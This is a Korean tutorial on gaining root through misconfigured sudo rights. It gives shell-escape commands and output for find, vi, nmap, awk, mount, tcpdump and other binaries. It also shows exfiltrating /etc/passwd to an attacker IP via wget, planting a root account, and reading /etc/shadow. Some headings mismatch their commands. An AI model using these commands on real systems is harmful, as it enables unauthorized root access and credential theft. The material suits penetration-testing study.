Linux Privilege Escalation Abusing SUDO
Contents
※ 원문 : Abusing SUDO (Linux Privilege Escalation)
1. Knowledge
sudo 는 Substitude User and Do 의 약자로, 다른 사용자(일반적으로 root)의 권한으로 명령을 실행한다.
기본적인 사용 방법은 아래와 같다.
1 2 |
sudo cat /etc/shadow sudo -u root cat /etc/shadow |
sudo 권한은 /etc/sudoers 에 정의되어 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# # This file MUST be edited with the 'visudo' command as root. # # Please consider adding local content in /etc/sudoers.d/ instead of # directly modifying this file. # # See the man page for details on how to write a sudoers file. # Defaults env_reset Defaults mail_badpass Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin" # Host alias specification # User alias specification # Cmnd alias specification # User privilege specification root ALL=(ALL:ALL) ALL ① ② ③ ④ ⑤ # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL ① ② ③ ④ # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL hacker ALL=(root)NOPASSWD: /usr/bin/find ① ② ③ ④ ⑤ # See sudoers(5) for more information on "#include" directives: #includedir /etc/sudoers.d |
16번 라인을 기준으로 설정에 대해 설명하면, “① root 계정은 ② 모든 터미널에서 ③ 모든 사용자 및 ④ 모든 그룹으로 ⑤ 모든 명령어를 실행할 수 있다.”가 된다.
19번 라인의 경우, “① admin 그룹은 ② 모든 터미널에서 ③ 모든 사용자로 ④ 모든 명령어를 실행할 수 있다.”가 된다.
25번 라인의 경우, “① hacker 계정은 ② 모든 터미널에서 ③ root 계정으로 ⑤ find 명령어를 ④ 비밀번호 없이 실행할 수 있다.”가 된다.
/etc/sudoer 파일은 root 이외에는 접근할 수 없다. 따라서, 현재 로그인한 계정이나 다른 계정에 sudo 가 어떻게 설정되었는지 확인하려면 다음과 같은 명령을 사용한다.
1 2 |
sudo -l sudo -l -U root |
이제 아래와 같이 설정된 경우에 sudo 를 이용하여, root 권한을 획득할 수 있는 방법에 대해 설명한다.
1 2 3 4 |
hacker ALL=(root)NOPASSWD: /usr/bin/find hacker ALL=(root)NOPASSWD: /usr/bin/vi hacker ALL=(root)NOPASSWD: /bin/more // 생략 |
2. sudo + find
1 2 3 |
hacker@ubuntu:~$ sudo find /etc/passwd -exec /bin/sh \; # id uid=0(root) gid=0(root) groups=0(root) |
3. sudo + vi
1 2 3 |
hacker@ubuntu:~$ sudo vi -c '!sh' # id uid=0(root) gid=0(root) groups=0(root) |
4. sudo + nmap
1 2 3 4 5 6 7 8 9 10 11 |
hacker@ubuntu:~$ echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-15 22:58 PDT # # id // tty 에 echo 가 제거되어 있다. stty echo 를 입력한다. uid=0(root) gid=0(root) groups=0(root) // 아래 방법은 최신 버전의 nmap 에서는 지원되지 않는다. hacker@ubuntu:~$ sudo nmap --interactive nmap: unrecognized option '--interactive' See the output of nmap -h for a summary of options. sudo nmap --interactive nmap> !sh sh-4.1# |
5. sudo + man
1 2 3 4 |
hacker@ubuntu:~$ sudo man man // !sh 를 입력한다. # id uid=0(root) gid=0(root) groups=0(root) |
6. sudo + less
1 2 3 4 5 6 |
hacker@ubuntu:~$ sudo more /etc/passwd root:x:0:0:root:/root:/bin/bash // 생략 !sh # id uid=0(root) gid=0(root) groups=0(root) |
7. sudo + more
1 2 3 4 5 6 |
hacker@ubuntu:~$ sudo more /etc/passwd root:x:0:0:root:/root:/bin/bash // 생략 !sh # id uid=0(root) gid=0(root) groups=0(root) |
8. sudo + awk
1 2 3 |
hacker@ubuntu:~$ sudo awk 'BEGIN {system("/bin/sh")}' # id uid=0(root) gid=0(root) groups=0(root) |
9. sudo + nano
1 2 3 4 5 6 |
victim@ubuntu:~$ sudo nano /etc/passwd // hacker 계정을 추가한다. hacker:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash victim@ubuntu:~$ su -l xiphias Password: test root@ubuntu:~# |
10. sudo + wget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
// hacker' IP : 192.168.88.88 // victim' IP : 192.168.11.11 // hacker 와 victim 의 단말에서 입력 및 출력을 프롬프트로 구분한다. hacker@ubuntu:~$ nc -lvp 9999 victim@ubuntu:~$ wget --post-file=/etc/passwd 192.168.88.88:9999 hacker@ubuntu:~$ nc -lvp 3582 Listening on [0.0.0.0] (family 0, port 3582) Connection from localhost 35530 received! POST / HTTP/1.1 User-Agent: Wget/1.19.4 (linux-gnu) Accept: */* Accept-Encoding: identity Host: 127.0.0.1:3582 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 2486 root:x:0:0:root:/root:/bin/bash // 생략 // 획득한 passwd 파일에 hacker 계정을 추가하고, 웹 서버에 등록한다. hacker:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:root:/root:/bin/bash victim@ubuntu:~$ sudo wget http://192.168.88.88:9999/passwd -O /etc/passwd victim@ubuntu:~$ su -l hacker Password: test root@ubuntu:~# |
11. sudo + mount
1 2 3 |
hacker@ubuntu:~$ sudo mount -o bind /bin/bash /bin/mount hacker@ubuntu:~$ sudo mount root@ubuntu:~# |
12. sudo + strace
1 2 |
hacker@ubuntu:~$ sudo strace -o /dev/null /bin/bash root@ubuntu:~# |
13. sudo + tcpdump
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
hacker@ubuntu:~$ echo $'id\ncat /etc/shadow' > /tmp/.test hacker@ubuntu:~$ chmod +x /tmp/.test hacker@ubuntu:~$ sudo tcpdump -ln -i ens33 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root dropped privs to root tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes Maximum file limit reached: 1 1 packet captured 1 packet received by filter 0 packets dropped by kernel hacker@ubuntu:~$ uid=0(root) gid=0(root) groups=0(root) root:$6$... 생략 ...:17667:0:99999:7::: // Ubuntu(18.04)의 경우, apparmor 에 의해 root 권한으로 명령을 실행하는 것을 제한하고 있다. // 따라서, apparmor 의 tcpdump 프로필을 complain 모드로 변경해야 하는데, 이를 위해서는 별도의 앱을 설치해야 한다. // 결과적으로 이 방법은 효용이 없을 것으로 판단된다. // sudo apt intall apparmor-utils // sudo aa-complain /usr/sbin/tcpdump |
Ubuntu(18.04)의 경우, apparmor에 의해 root 권한으로 명령을 실행하는 것을 제한하고 있다.
따라서, tcpdump 로 root 를 획득하기 위해서는 apparmor 의 tcpdump 프로필을 complain 모드로 변경해야 한다.
이를 위해서는 별도의 앱을 설치해야 하며, root 만이 수정할 수 있다.
즉, tcpdump 를 이용한 방법은 효용성이 극히 낮다.
apparmor 의 프로필은 아래과 같은 방법으로 수정할 수 있다.
1 2 |
hacker@ubuntu:~$ sudo apt intall apparmor-utils hacker@ubuntu:~$ sudo aa-complain /usr/sbin/tcpdump |